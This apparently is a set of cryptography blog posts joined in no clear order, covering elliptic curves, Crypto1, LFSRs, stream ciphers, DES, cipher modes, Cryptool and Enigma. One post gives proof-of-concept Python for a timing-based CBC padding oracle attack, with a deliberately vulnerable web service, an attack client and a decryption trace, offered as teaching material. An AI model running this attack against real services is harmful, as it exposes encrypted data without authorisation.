Elliptic Curves

If we are talking about Elliptic Curve Cryptography, first we need to define what an Elliptic Curve is. Mathematically, an Elliptic Curve is a curve with the following equation:

This means that every point (x,y) for which the above expression is met will be part of the curve. However, it turns out in our case we can simplify the equation because the curves we'll be using can generally be written as:

Such a curve, over the reals (i.e. x and y are real numbers) and with a=-3, b = 1, looks like this:

Elliptic Curve y^2 = x^3 - 3x +1 over the real numbers

What makes these curves special is that we can define an abelian group with them. To do that, we define the point at infinity and an addition law. The addition law is depicted in the following picture from Wikipedia:

Elliptic Curve Addition law

As you can see, if you want to add two points P and Q, you draw a line through them. The intersection of this line and the curve is the point -(P+Q). Then, you just need to invert this point (negate the y coordinate) to obtain the final result.

Of course, we have special cases. If the point is added to itself, the line is defined as the tangent to the curve at that point, as intuitively the tangent touches 'two times' the point.

If we add a point to its inverse, we get a vertical line... and that's a problem because it will never touch the curve. Here is where the point at infinity comes to rescue. The point at inversity is simply 'up there' (and 'down there'), and is the zero element of the group.

Elliptic Curves for Cryptography

We have defined above how an elliptic curve looks like over the reals, and how to perform additions of two points. Obviously, when addition is defined we also have multiplication for free: just add a point to itself several times in a row (although you can do it in smarter and more efficient ways).

But how do we use it for cryptography? I mean, where is the difficult problem here? Actually, the difficult problem is again the discrete logarithm problem. In this case, we define it as follows:

Given a curve E and all its parameters, a base point P and a point Q=nP, obtain n.

And how is this difficult in the curves defined above, you might be thinking... The truth is we do not use real curves in ECC, but we use curves over finite fields instead. We can do it over prime fields GF(p), or we can do it over binary fields GF(2^n). I'll look only at GF(p) here, but similar concepts apply (although the simplified expression I defined above is slightly different in that case).

So, the curve I depicted previously taken over GF(8761) looks like this:

Elliptic Curve y^2 = x^3 -3x+1 over GF(8761)

Messy, huh? Exactly the same addition laws apply here, but now when you add two points you draw a line... and when the line gets out of the GF(p) x GF(p) plane it wraps around and comes back from the other side. It is a little more difficult to depict and to visualize, but the concept is the same as before. And now you probably start seeing why this is difficult to solve...

Why Elliptic Curves?

Now you might be wondering... why do we use Elliptic Curve cryptography at all? What are the benefits? The answer is that the ECC allows us to use smaller keys than other algorithms like RSA / 'normal' DL systems for the same amount of security.

This is because the best known general methods for solving the DL in Elliptic Curve are of exponential complexity, while for the other systems we know subexponential methods. Hence, the DL problem under Elliptic Curves is believed to be more difficult than the equivalent base problems for other public key cryptosystems.

Now that we know how elliptic curves are used in cryptography and what benefits they have over traditional

Elliptic Curve Diffie-Hellman

So, if you remember from when we talked about Diffie-Hellman, this is a key exchange protocol that relies on the Discrete Logarithm problem (and the Diffie-Hellman assumption). Usually this is done over a finite field GF(p), but now we have just defined a group based on Elliptic Curves which we can use as well.

In this case, Alice has a private key and a public key , where G is the base point. Similarly, Bob has and . Alice and Bob exchange public keys, and then each of them can compute a common point .

This protocol relies on the assumption that the DL problem is infeasible in the elliptic curve (which requires a base point G of high order) and the Diffie-Hellman assumption.

Other ECC algorithms

Besides the EC Diffie-Hellman algorithm defined above, there are several other algorithms based on Elliptic Curves. For example, one could compute digital signatures using Elliptic Curve DSA or Elliptic Curve Nyberg Rueppel. Each algorithm has its own details, but the important problem used as a foundation for each of them is the Discrete Logarithm problem over Elliptic Curves as we have defined it here.

Beware, however, that similarly to other algorithms, ECC algorithms rely also on other conditions. For example, for ECDSA (and DSA) there is a secret parameter that must be unique, and two signatures with the same value for this parameter will reveal your secret key. As usual, if you implement cryptography. you need to be aware of the requirements and limitations or you will certainly screw up (toc toc SONY!).

I had seen that Thai and Juliano mentioned timing leaks in their talk at EkoParty, but since AFAIK there was no public tool available I decided to look into it. Also, some weeks ago I added the CBC-R encryption part to my scripts, in order to be able to encrypt arbitrary information as long as we are able to control the IV.

So in this post I'm going to write about these two things: CBC-R encryption and a web based padding oracle attack script using timing information.

CBC-R: Reverting CBC decryption... or encrypting by decrypting!

Ok, so if you remember from last post, we have a way to decrypt messages making use of a padding oracle. So, by providing specially crafted messages and asking whether the padding is correct or not, we can obtain the plaintext for a given ciphertext.

Now, can we use this for encryption? Well... the answer in general would be no unless you perform a bruteforce search to find the ciphertext that leads to your desired plaintext. However, with CBC mode we have a nice property. When an entity tries to decrypt something using CBC mode, the plaintext is computed as follows

Where is the initial vector. Now, if we control the ciphertext and the initial vector, we can set them up such that the required plaintext comes out when the decryption process takes place.

We start by the last ciphertext block, and set it to a random number. Next, we decrypt it using the padding oracle, which gives us . Given the desired value for , we just need to compute such that . If we continue all the way down to the IV, we have a set of IV + n ciphertext blocks that would produce the desired message.

So, this process I've also implemented in Python together with my previous code. Now it is possible to encrypt data as well, getting an IV that you need to supply to the decrypting entity. If you don't control the IV, you could provide all these n+1 blocks as ciphertext and you would get a leading block which would decrypt to garbage. Since most likely the target application can't handle leading garbage blocks, you'd have to chose another option such as bruteforcing the first block in order to get the desired result. However, this involves much more computational work.

A "web service" leaking padding information through the time

After this implementation work, and triggered by the discussion with my friend, I decided to write a sample vulnerable web service and try to exploit it using timing information. To simulate the vulnerable service, I initially used PHP and the openssl functions.

However, since the attack was failing and I thought it was due to a problem in the vulnerable service, I wrote it using web.py . This is nicer because then you only need Python to test it, so I decided to publish only the python version. The code simply listens for requests to the /padding/ path. For GET requests, it encrypts the msg parameter under a key and returns the ciphertext encoded using base64.

For POST requests, it receives the ciphertext in the ctext variable, decrypts it, checks the padding and if it is good it sleeps for 1 second. This is done to simulate access to a database, filesystem, or any other kind of activity that would happen under normal situations. Next, both with good and bad padding it returns the same information. This is the code:

import web
import struct
from Crypto.Cipher import AES
from base64 import b64decode,b64encode
import time
 
urls = ( '/padding/', 'padding')
app = web.application(urls, globals())
 
key = "cacacacacacacaca"
 
def oracle(ctext):
	oracleCipher = AES.new(key,AES.MODE_CBC,"\x00"*16)
	ptext = oracleCipher.decrypt(ctext)
	paddingLen = struct.unpack("B",ptext[-1])[0]
	goodPadding = (ptext[-paddingLen:] == struct.pack("B",paddingLen)*paddingLen)
 
	return goodPadding
 
def encrypt(data):
	paddingLen = 16 - len(data) % 16
	data = data + struct.pack("B",paddingLen)*paddingLen
	cipher = AES.new(key,AES.MODE_CBC,"\x00"*16)
	return b64encode(cipher.encrypt(data))
 
class padding:
	def GET(self):
		i = web.input(msg='secret!')
		return encrypt(i.msg)
 
	def POST(self):
		i = web.input(ctext=None)
		if(i.ctext!=None and oracle(b64decode(i.ctext))):
			time.sleep(1)
		return "Yeah!"
 
if __name__ == "__main__": app.run()

So as you can see, the only difference between correct and wrong padding in this case is the timing information. Now we can try to exploit it by performing requests, checking the timing and seeing if it's high or not. Of course, the delay is quite high (1 second) in this case, but it all boils down to how big a time delta you can detect through the network. The use of 1 second is just to make it simple during the tests.

Attacking timing leaks in Padding Oracles

Ok, now we have a vulnerable service. Our next step is to create an attack tool. I first created a class (TimingWebPaddingOracle) that is able to perform HTTP requests and analyze the time it takes to receive a response. The class also allows to define POST variables to be added to the request, and to define one of such variables as the oracle variable. You should also provide a default value for each of them, being the value given for the oracle value a correct ciphertext (i.e. one that produces good padding after decryption).

Once this is defined, you can analyze the timing of the correct and incorrect padding cases. To that end, the class first analyzes the original value of the oracle variable and next it changes the last bytes and analyzes the timing again. Then, it takes the middle value between the two timing values obtained as a threshold. Also, it stores whether a delay higher than the threshold means the padding is correct or not based on this analysis.

From there on, you can use the oracle. If the timing obtained is higher than the threshold, then it will return true or false depending on the type of oracle we have. In most of the cases, this will happen for a correct padding because then the application will proceed with other calculations.

I won't comment on the code here, you can take a look at it from the classes added at the end. The following is the code of the application used to test it:

from PaddingOracle.TimingWebPaddingOracle import TimingWebPaddingOracle
from base64 import b64decode,b64encode
from PaddingOracle.DecryptionOracle import DecryptionOracle
import sys
 
def hex_string(data):
    return "".join([ hex(ord(i))+" " for i in data])
 
blockSize = 16
url = "http://localhost:8080/padding/"
 
if __name__ == '__main__':
 
    if (len(sys.argv) <= 1 ):
        ctext = "szkAlVFq+Nh4yOt4prAwBtwRVvt51HIyU9o58+2Bxuo=" #Default ciphertext
    else:
        ctext = sys.argv[1];
        if ( len(sys.argv) > 2):
            reqs = int(sys.argv[2])
        else:
            reqs = 1 #Default to 1 request 
 
    webOracle = TimingWebPaddingOracle(url,b64encode,b64decode,reqs)
    decOracle = DecryptionOracle(webOracle.oracle,blockSize)
    webOracle.add_variable("ctext",ctext,True) #Add oracle variable with original value
 
    print "Analyzing oracle..."
    if(webOracle.test_oracle()):
        print "Oracle successfully analyzed. Analyzing provided ciphertext..."
        msg = decOracle.decrypt_message(b64decode(ctext))
        print "Message: "+str(msg)
        print "In hexadecimal: "+hex_string(msg)
    else:
        print "Could not analyze oracle :("

As you can see, it sets the URL, and provides an encoding and decoding functions to the TimingWebPaddingOracle function. These are used to decode the original ciphertext when analyzing the original value provided in the command line and to encode it when sending it to the web app.

The message to be decrypted is assumed to contain proper padding, so it is used first to analyze the oracle and then it is decrypted using the DecryptionOracle class. By default, the test uses 1 request per ciphertext to be tested. If an additional integer is provided, it uses so many requests and performs an average of the time obtained.

This is a trace of its execution:

eloi@XXX:~/dev/PaddingOracle/src$ python PaddingOracleTest/WebPaddingOracleTest.py "7TciRV2X4vFKuiUqz1g2SdfFQ4ry8mNKSxE73lknqd4ooeQrnW2AWQ0mv2FFyWod"
Analyzing oracle...
Found difference for i=0x0
Original timing: 1.00866293907
Bad timing: 0.00569581985474
Oracle successfully analyzed. Analyzing provided ciphertext...
Message: supersecret with limited entropy
In hexadecimal: 0x73 0x75 0x70 0x65 0x72 0x73 0x65 0x63 0x72 0x65 0x74 0x20 0x77 0x69 0x74 0x68 0x20 0x6c 0x69 0x6d 0x69 0x74 0x65 0x64 0x20 0x65 0x6e 0x74 0x72 0x6f 0x70 0x79 0x10 0x10 0x10 0x10 0x10 0x10 0x10 0x10 0x10 0x10 0x10 0x10 0x10 0x10 0x10 0x10

As you can see, the message was correctly decrypted

Code

If you reach this point, you deserve being able to download the code . I've uploaded all the code in its current state (DecryptionOracle, CBC-R encryption oracle, TimingWebPaddingOracle and some the test cases) to the following URL:

http://www.limited-entropy.com/docs/PaddingOracle_0.2.tgz

Remember this is just PoC code and not release-quality code. Again, you can do whatever you like with it but it would be nice to give credit if you use it or base your stuff on it .

As for things you need to run it, you need Python (obvious ) with the following extra packages: web.py for the test service and pyCrypto for the cryptographic functions.

We won't talk about the protocol details, nor about how the published attacks work. You'll find a couple of interesting links at the end though .

Note: Images obtained from the papers linked at the end of the post.

The Crypto1 cipher

Crypto1 is a proprietary stream chiper from NXP found in the RFID tags from the Mifare Classic family. At first, it was studied by Karsten Nohl reverse engineering the chip itself. This information was published in the CCC 07, although not many details about the cipher were published.

In parallel, the Radboud Universiteit from Nijmegen was studying this kind of cards and with the help of the information published at CCC completely reverse engineered the cipher and published the details. Let's see how it works then...

Crypto1 is an LFSR based cipher, which uses just an LFSR with a linear feedback function and a filter function to generate the output stream (keystream):

Crypto1 - Overall structure

The overall structure of the cipher was revealed in the presentation at CCC, but the generating polynomian (the feedback function used by the LFSR) and the filter function was not. The generating polynomial, published by Karsten Nohl et al at Usenix'08, is as follows:

This means that bits 43,39,38...,7,6,5,0 are used to create the new bit that will be shifted into the register. Further, the input bit is used and a XOR of all them is executed to generated the next bit. This polynomial is primitive: irreducible and generates all the possible states before cycling back to the initial state.

On the other hand,the filter functions were published by the people from RU Nijmegen at Esorics'08. The following picture shows those filter functions together with the rest of the cipher.

Crypto1 - Detailed structure

Each of the hexadecimal numbers identifying the filter functions should be read as a bitmap where the left-most bit will be produced as an output of the filter function when the input was all-ones while the right-most bit will be produced as an output when the input was all-zero. For instance, 0x26c7 in binary form would be:

0010 0110 1100 0111

Which means that for inputs (1,1,1,1), (1,1,1,0), (1,1,0,0), (1,0,0,1), (0,1,1,0), (0,1,0,1)  and (0,1,0,0) the result of the filter function would be 0, and 1 otherwise.

Links

This completes the description of the Crypto1 cipher used by Mifare Classic chips. I don't want to get into more details about the structure of the cipher and the protocol, because I didn't look at it in depth amongst other reasons, so for more information you can follow these links:

Reverse-Engineering a Cryptographic RFID Tag - Karsten Nohl et al. Usenix'08

Dismantling MIFARE Classic - Flavio D. Garcia et al. (RU Nijmegen). Esorics'08

Lecture on Mifare Classic from HW and OS Security course at RU Nijmegen

Shift Registers

A shift register is basically a construction with interconnected several memory cells, where every cell stores one bit. So, the value of these cells conforms the so-called state of the register. When the register steps from one state to the next one (usually at each clock tick), the new state is created by simply shifting the bit in a cell to the cell next to it. Thus, the right-most bit goes out of the register, and a new bit goes into the left-most cell.

In this picture we can see an implementation of a 4 bit shift register:

Shift register

We can see an input line (Data in), 4 points where one can read the current state (Q1-Q4) and a clock input, which governs the register telling it in which moment it should step into the next state.

Linear Feedback Shift Registers (LFSRs)

Well, once you know what a shift register is, it is fairly straightforward to understand how a LFSR works. We just take the previous register and set the input as a linear combination of the different cells. Since there is a loop which feeds the register based on its previous state, we have feedback. Further, since this feedback is based on a linear function, then we have linear feedback, hence the name .

LFSR

LFSRs' use in cryptography

So far, you probably have guessed that the main use of an LFSR in encryption systems is generating a series of pseudo-random bits to be used as a key stream in a stream cipher.

The idea is to generate a stream of bits with the minimum repetition possible, i.e. with maximal period. For its study, the connections in an LFSR are usually represented as a polynomial and the properties such a polynomial needs to meet to achieve maximal period are analyzed.

Basically, we need to get the LFSR to run through all its possible states before going back into the first one. So, if we have 16 bit registers, we'd want to have the LFSR pass through the 2^16-1 states before cycling back to the first one. And yes, I said 2^16-1 instead of 2^16 because the zero state should never appear. Otherwise the LFSR will never leave this state, since the feedback function is linear. For the curious readers, an LFSR will have maximal period if its generating polynomial is a so-called primitive polynomial (I'm pretty sure this name will ring a bell for some of you guys, although maybe not as a happy memory ).

Setting aside the study of these polynomials, which involves somewhat comlex maths (to my non-mathematician opinion ), an LFSR by itself should not be used as a key stream generator because its properties make it fairly predictable. In fact, given an n bit LFSR, obtaining 2n bits of its output it is possible to recover the generating polynomial and be able to decrypt any subsequent text.

Therefore, LFSRs are not directly used in crypto, but they are generally used in one of these modes:

• Nonlinear combination of LFSRs: the output from several LFSRs is combined in a non-linear fashion to obtain a key stream.
• Nonlinear filter generator: the output is generated from a non-linear combination of the state.
• Clock-controlled generators: In this mode, several LFSRs step based on some rules, instead of stepping for every clock cycle.

With this kind of constructions it is possible to improve LFSR's properties for the creation of secure stream ciphers. And that's it for LFSRs from my side, for more information refer to these references:

Handbook of Applied Cryptography

LFSR Reference

LFSR @ Wikipedia

Later in this series, we'll see how Linear Feedback Shift Registes (LFSR) work and we'll see one of the most used stream ciphers, together with an example of wrong usage.

Keep on reading to learn more about this class of ciphers.

General features

As opposed to block ciphers, a stream cipher does not divide the plaintext in big blocks where the cipher is applied, but instead it encrypts individual information elements such as bits, bytes or characters.

Generally, based on an initial key a stream cipher derives a series of characters known as the key stream which is then mixed with the input data, or data stream, generally by means of an exclusive or operation.

This is based on the One Time Pad (OTP) concept, which we didn't mention earlier in this blog but most likely you have already heard of it. The OTP is a cryptographic algorithm which simply generates a random key as long as the message to be encrypted and mixes both, by means of a XOR operation in digital communications.

The properties of the OTP algorithm offer absolute confidentiality in the sense that the cryptogram does not reveal any information about the message contents, at the cost of a key as long as the message itself. Obviously, this makes key management not practical at all: where before we had the problem of sending a message of length L in a secure way, now we can send the encrypted message without any fear but still we need to send a key of length L... which leaves us with an equivalent problem!

Following this philosophy of using random keys as long as messages, the stream ciphers that we are analyzing today were invented. To that end, as I explained above, they try to derive a series of pseudo-random characters based on a secret key. This way, one obtains similar properties to the OTP algorithm reducing the complexity of key management... but of course this also reduces the randomness of the key stream.

Stream cipher classification

Stream ciphers are usually divided into two groups: synchronous and self-synchronizing stream ciphers. Most stream ciphers proposed so far are synchronous ciphers, where the keystream is generated independently of the plaintext and the ciphertext. Therefore, these ciphers require both ends of the communication to be sinchronized, and if a single digit of the cryptogram is lost the rest of the plaintext will be unrecoverable (unless error-correcting techniques are used).

Further, in these systems errors are not propagated besides one single character. This allows an active attacker to modify the contents of the ciphertext without detection. For instance, in a system as the one commented at the beginning, where a XOR of the keystream and the data stream is performed, one could just flip a bit in the decrypted plaintext by flipping the same bit in the cyphertext.

On the other hand, self-synchronizing ciphers generate a keystream dependant on the key and part of the previous ciphertext. Therefore, since a given character depends on the previous ciphertext character, if an error occurs it is possible to resynchronize after some time: we just need to discard as many characters as needed so that the keystream doesn't depend anymore on the corrupted ciphertext.

Some security considerations

It is extremely important in a stream cipher that the key stream does not frequently repeat, especially on those ciphers which use an additive function (i.e. XOR) to mix keystream and data stream. The reason is quite simple: if a given message is compromised but the key is not, any message that uses the same key stream could be compromised simply XORing the known keystream and the ciphertext.

Further, in case a message is not compromised but one obtains several messages encrypted with the same key stream, XORing both messages it is possible to remove the influence of the key stream: we would have the XOR of both initial plain texts. This way, we could possibly obtain information on the transmitted messages (structure, statistical properties, ...) that would help us to break the messages.

We could see an example of this method at Campus Party, where Cucaracha decrypted two ciphertexts encrypted using RC4 based on the knowledge that the language was Spanish and guessing the first message and applying the resulting key stream to the second message to see whether the output was sensible or not. It's completely logical, although requires a detailed work and I have to admit that at first I was shocked when he told me that he got the messages but not the key

To avoid this kind of problems, normally an initialization vector (IV) is used to initiate the cipher and have a different keystream each time. Therefore, it is important that the IV is not reused very often.

The algorithm was approved as a FIPS standard in 1976, and revised up to three times in 1988,1993 and 1999. The last revision FIPS-46-3 describes the 3DES extension as a method to enlarge the key size of the DES cipher by using 3 DES operations in a row, encrypting the first time, decrypting the second time, and encrypting again the third time. This was done in order to withstand an efficient brute force attack published in 1998.

After the break (click Read more!) we'll see how it works and the main components of the algorithm.

NOTE: All images in this post are directly linked to Wikipedia. If the images are not visible anymore, let me know in the comments and I'll post my own version of the images.

DES structure

DES is a block cipher which encrypts 64 bits blocks under a 56 bits key. Actually, normally one supplies the DES algorithm with a 64 bits key, but the lowest significant bit of each key byte is not used for the encryption and could be used for parity checking.

The overall structure of DES is depicted in the following figure:

DES structure

It starts by applying the so called Initial Permutation (IP), which obviously performs a permutation, i.e. scrambles the input bits. Then the data block is divided into the upper 32 bits (L0) and the lower 32 bits (Ro) creating a left and a right part. Now 16 identical rounds are applied: a function F (Feistel's function) is applied to the right half and a round key, and the result is XORed with the left half. Then both halves are swapped.

After the 16 rounds have been applied, a Final Permutation (FP) is applied. This permutation is actually the inverse of the Initial Permutation ( ). All these things together conform what we call a Feistel's network, with a great property: we can decrypt the ciphertext with the same algorithm, changing only the order in which we apply the round keys.

This means that the decryption process for DES is identical to the encryption process. Only that round key 16 is applied first, then round key 15, and so on.

The F function

The F function is at the very core of the DES cipher. As explained above, this function is applied in each round to the right half and the round key, and its output is XORed with the left half. At the beginning of the F function, there is an Expansion function (E), which expands the 32 bits input into 48 bits. These 48 bits are then XORed with the 48 bits round key coming from the key scheduling algorithm.

Then, these 48 bits are supplied in groups of 6 bits to the S-boxes. The S-boxes are just substitution functions, which are implemented as a substitution table, and output 4 bits each one. Therefore, the output of the 8 S-boxes is again 32 bits, same size as the input and output of the F function. After the S-boxes, a permutation, P, is applied. The output of the permutation is the result of the F function.

Feistel's function

Key Scheduling

In order to have the complete picture of how DES works, we still need to know how the round keys are computed from the DES key. This is done by the so-called key scheduling algorithm, which can be run in parallel with the DES cipher or precomputed and stored in a table of round keys.

The process looks like this:

DES key schedule

First, a permutation PC1 is performed. The name comes from Permuted Choice, due to the fact that this permutation also choses some bits from the key: the last bit of each byte (i.e, bits 8,16, etc) is discarded as we said earlier, and the rest are used for the permutation.

After this, the structure is repeated for each round key: the result of applying PC1 is divided into left and right halves, these halves are shifted (cyclically) one or two bits to the left depending on the round number. After that, the shifted key is fed to a second permutation, PC2, which selects 48 bits out of the 56 input bits.

Detailed information

So far, we've seen how DES works. However, you wouldn't be able to implement the DES algorithm without knowing exactly how permutations, expansion functions and S-boxes actually modify the data. To that end, you can go to the standard itself or to the DES Supplementary material page on Wikipedia.

As usual, implementing your own crypto is not recommended. Do it only for educational purposes, otherwise things could easily go VERY wrong.

Triple DES

As explained in the introduction of this article, a brute force attack to DES was presented long ago. This attack motivated the introduction of a new variant of DES. This variant, called triple DES, uses three DES operations in a row to enlarge the key space.

Typically the data is DES encrypted with key K1, then decrypted with key K2, and then encrypted again with key K1. This raises the key length to 112 bits (8 bits of K1 and 8 bits of K2 are discarded by PC1), which makes a brute force attack much more difficult.

There exists also a 3DES variant which uses three different keys, achieving a key size of 168 bits. Of course, 3DES can also be used with 3 identical keys. This would give you a DES encryption and allow devices that do not implement 3DES to be used together with devices that implement 3DES.

Block ciphers

As we already said in the previous entry, block ciphers are symmetric ciphers which encrypt fixed length blocks. Therefore, a block cipher generally applies a series of operations combining the input block and the secret key (which isn't necessarily the same length) to obtain the output block (ciphertext).

Since they are symmetric, the decryption primitive uses the same key as the encryption primitive, and applies the operations needed to get back the plaintext at its output:

Most block ciphers can be classified as product ciphers or iterative block ciphers, based on a series of basic operations (rounds) which are repeated a number of times. These rounds provide confusion and difusion to the cipher, two concepts identified by Shannon in his famous treaty about communication theory.

Confusion refers to breaking the relationship between ciphertext and key as much as possible, while diffusion refers to destroying the statistical characteristics of the message source. Shannon identified these concepts and established the need for a secure cipher to provide them.

These kind of ciphers are generally Substitution-Permutation Networks (SPN), where several permutations (scrambling) and substitutions (changing values for others) take place one after the other, using a key, trying to achieve the goal: destroy the statistical properties of the source and obtain a secure cipher.

In subsequent entries we'll see how DES and AES, two well-known symmetric encryption standards, work. The remaining of this article treats block cipher modes of operation and how to authenticate messages using these ciphers.

Modes of operation

We'll see now some constructions that allow the use of a block cipher to encrypt texts larger than the block length. Some of them can be viewed as stream ciphers in which a key stream is generated and gets mixed with the plaintext.

First, we'll see the most simple way of using a block cipher. The construction that would come to every mind would be dividing the plaintext in blocks of the suitable length and encrypt each of them. This is what we call Electronic Codebook Mode (ECB), and as can easily be observed, it mantains the structure of the plaintext at the block level (not inside blocks): two identical blocks produce the same ciphertext under the same key.

After ECB, one of the most famous modes is the Cipher Block Chaining (CBC). In this case, the plaintext is also divided into several blocks, but before encrypting them with the secret key, they are XORed with the previous ciphertext block:

Where would be the so called Intialization Vector (IV), which can be different each time but doesn't need to be secret. Actually, it's usually known, either being a fixed value defined in the concrete protocol's specifications or sent together with the message as a header.

In this way, each encrypted block depends on each one of the previous blocks. A simple bit change in one of the blocks would produce a cascade effect and make the remaining blocks completely different. Clearly, message structure at the block level is not revealed. This is well illustrated in the following image from Wikipedia:

TuX encrypted using ECB

TuX encrypted using a secure cipher

But not only CBC exists. For instance, the Output Feedback Mode (OFB) generates a bit stream to be used as a key, in the most pure stream cipher style. The cipher is initialized with an IV in the same way as CBC, but it is encrypted using the secret key. The resulting block has the k initial bits of key stream, which are XORed with the plaintext to produce the ciphertext.

To generate the next keystream bits, the previous block is used. Using the usual notation:

Obviously, decryption will be performed calculating the same keystream and XORing it with the ciphertext. This construction creates a stream cipher, and as other stream ciphers, if one bit is flipped in the plaintext, it will also be flipped in the ciphertext (and the other way around) due to the usage of XOR.

Another quite common mode is the counter mode (CTR), in which a counter is used at the input of the block cipher, and the output is used in the same mode as in OFB mode.

These are not all the existing modes, but the intention is simply to provide an overview of the options and to refer the interested reader to other sources. See for instance the famous Applied Cryptography from Bruce Schneier, or the Handbook of Applied Cryptography.

Message Authentication Codes

One of the problems that Cryptography's tried to solve, is the authentication of the data origin. This is, trying to assure that a message has been actually created by a certain person, machine or, more in general, entity. The solution to this problem based using symmetric crypto is known as Message Authentication Codes, or MACs.

These codes are just a block of groups generated by some alrogithm using a secret key and a plaintext message. The most common construction for generating these codes is based on using a block cipher in CBC mode, but taking just the last block as the MAC.

As we've seen previously, this last block depends on all the previous blocks, as well as on the key. Therefore, this code is binded to the complete message (provides message integrity) as well as to the entity with whom the secret key is shared (provides data origin authentication).

Thus, the receiver of the message, who shares a secret key with the source, is able to check whether the message was actually generated by the expected entity and that it has not been altered.

In this post we'll see some of the options provided by Cryptool to analyze classical ciphers, as well as using it for breaking a ciphertext encrypted with Vigenère's cryptosystem.

First step, as usual, consists of installing Cryptool. To that end, I chose using a virtual machine in VMWare with Windows XP. The installation is very simple, typical Windows app installation: Next, Next,... We'll use the English version, which is the one I have installed, but it shouldn't be difficult to follow our steps with a different version.

Once installed, this is how the main window of Cryptool looks like:

Cryptool's main window

Looking at the menus, one can see that Cryptool offers (amongst others) the possibility to encrypt and decrypt texts, cryptanalytic tools and guided tutorials. In this text we'll see how to use Cryptool for analyzing encrypted texts... Let's start with an easy one:

Gznyrém xlmlxrwz xlnl Fmrevihrwzw Klorgéxmrxz wv Ezovmxrz, l vo
Klor kziz olh znrtlh, vh fm lhxfil oftzi oovml wv vhgfwrl b kvievihróm.
Hlyivglwl, klijfv glwl zjféo ol hfurxrvmgvnvmgv olxl xlnl kziz vmgizi
vm vooz, gvmwiá jfv szxvi zotl wv ol zmgvirlinvmgv xrgzwl kziz hzori
zrilhl wv vooz. Vmgiv olh oftzivh náh xlmxfiirwlh, hv vmxfvmgizm oz
Xzhz wvo Zofnml (szyrgfzonvmgv fhzwz kziz wlinri olh qfvevh wv
nzwiftzwz, kvil gznyrém kziz qftzi z yroozi l ufgyloím, zfmjfv mlh
jfrgzm vhgv vm éklxz wv vcánvmvh), oz Yryorlgvxz (wlmwv oz tvmgv hv
wrervigv vhgfwrzmwl), b ozh krhgzh wv gvmrh b káwvo.

The text has been obtained from IEEE's cryptography challenge, by Javi Moreno and Amine Tourisa (sorry, Spanish). Actually, the solution was already published in Javi's blog, but we're gonna see how to obtain it with Cryptool:

• Create a new document ( File | New )
• Copy the text from the challenge
• Go to Analysis | Tools for Analysis | Histogram

Now we get the following frequency diagram from the text:

Frequency analysis of the ciphertext

Next we just compare this diagram with the typical one from Spanish or English, and we can see that it's simply been 'mirrored'... easy, isn't it? So the answer is, as you probably guessed, ATBASH. Decrypting the text with ATBASH (Crypt/Decrypt | Symmetric (Classic) | Substitution/Atbash ... ) , we get this cleartext (again, Spanish):

También conocida como Universidad Politécnica de Valencia, o el Poli para los amigos, es un oscuro lugar lleno de estudio y perversión. Sobretodo, porque todo aquél lo suficientemente loco como para entrar en ella, tendrá que hacer algo de lo anteriormente citado para salir airoso de ella. Entre los lugares más concurridos, se encuentran la Casa del Alumno (habitualmente usada para dormir los jueves de madrugada, pero también para jugar a billar o futbolín, aunque nos quitan este en época de exámenes), la Biblioteca (donde la gente se divierte estudiando), y las pistas de tenis y pádel.

Now we'll see how to solve a Vigenère encrypted text. Let's take as our working example the following text:

Yyi plqqsjiw icd rfwx vcrynevh ozi fxlhf bwrgxlqmq nsvng mwv hivwssvh
xr hmpv eadm ktlv jusqifq xr gtfii eqr omrrkh htj nsvng.  Nd tsrwfmxk,
xlh UZZ Xirhfmq Gyfowo Qzgiqgq nj mrwszivh xr ugfierwsq dfyv ifqjusq wc
emrvi dbp hyerjs mqc ziugutew si o bwfkvda--ft deoh ggwv mx usyfzrw ifqj
jsjwkmwv jsu oxq zxw xgqwj.  Ai, wvq Kiii Vcrynevh Tazehewwas, lwi wvq
LEY Khbqwrp Txpxnt Pmfszxv jsu aaxk sj rid xfjxzodj; zx esdxnvw eoga yf
erb cfmvv arfw wvpidgqi klmv kmd sc mwg mzklsug.  Ktl geq obucc mw ha
dfyv sfalieqv, hat.

Nliq kq xgien cr kiii vcrynevh, kq fii vhtqwimrj ha kiiigcy, sfx
tuwoj.  Fyv Jszjiep Sinqzg Plqqsjiw dfq ivwmjbqi ks qdyq xlvi wvmy psy
kohj kli ifqjusq wc pnjxvlpgyv gsswqx fj jusq xfjxzodj (rrh fvmwxi jrf
fmvq mi maz nmwk), htfk csx fqhvmzh gazigi fcpj fv gdb sjk mx lt ktl
aeqh uy, klew maz ter fvmsxi xks etwxadfq ti ywh dujtiw rt uy zr rhk
rwvi tucswrqw, dbp yyex bcg pesa bcg hrr hr htjji xkwzlj.

Xs sfayvgx bcgw imkkhe, bv rihr ft gviyszy fxlhfe kisq gszdzrk bcg
yyiwh fulyxw rf mxbmrj maz ks wxfdjehiu htj imkkhe.  Yyivhtawv, csx vmav
giuhmne vivdasjmflzuyziw lt ktl hmvhdnsyxh qauziw rt fmv wsihifii, su wr
dfy qrrukp mx: useufrwlpuqzxmhg ft iiwssoy kli ifqjusq rt ayyivv.

Again, we create a new document in Cryptool and paste the text in. Now we go to Analyze | Symmetric Encryption (Classic) | Ciphertext-Ony | Vigenere.

After doing so, Cryptool will suggest a key length, and when we accept, it will tell us the key and allow us to decrypt the complete text, this time in English. We can also choose to see every step, with the Show base ciphers analysis option in Options | Analysis Options.

Further, Cryptool's output offers a plot with the text's autocorrelation, with periodic peaks in multiples of the key length This is the tool used by Cryptool to analyze Vigenère's cryptograms, and we can also find it directly available in Analyze | Manual | Autocorrelation. This tool can be used to analyze texts and decide whether it could be a Vigenère (or similar) cipher or not.

That's it for today, I recommend you to keep on playing with Cryptool and to take a look at its official documentation.

The Enigma Machine

The Enigma machine was developoed and patented by Arthur Scherbius in 1918, and was adopted by the nazi Germany for military and diplomacy use. Polish cryptanalysts broke the Enigma cipher in the late 1930s, and Allieds exploited this knowledge during WWII.

Máquina Enigma

It is said that thanks to Enigma being broken without the Germans noticing it (thanks to the more or less careful use of the obtained intelligence) the WWII was shortend one year or even more. There has been a lot of writing around Enigma, and I'm not an expert in the field, so I refer you to Google if you want more historical information

Encrypting and decrypting with Enigma

To encrypt with Enigma, after initializing the machine with the key as we'll see later, one simply had to press the plaintext letter to encrypt in the keyboard, and then the corresponding ciphertext letter would be enlightened in the upper (back-lighted) keyboard.

To decrypt, one had to set the machine into the corresponding state and press the received ciphertext letter. Then, in the upper keyboard the plaintext letter would get enlightened.

Enigma's features

Enigma was an electro-mechanical machine, based on the use of rotors. In the previous figure, one can easily see the mechanical keyboard and the back-lighted keyboard, which worked as input and output of the device.

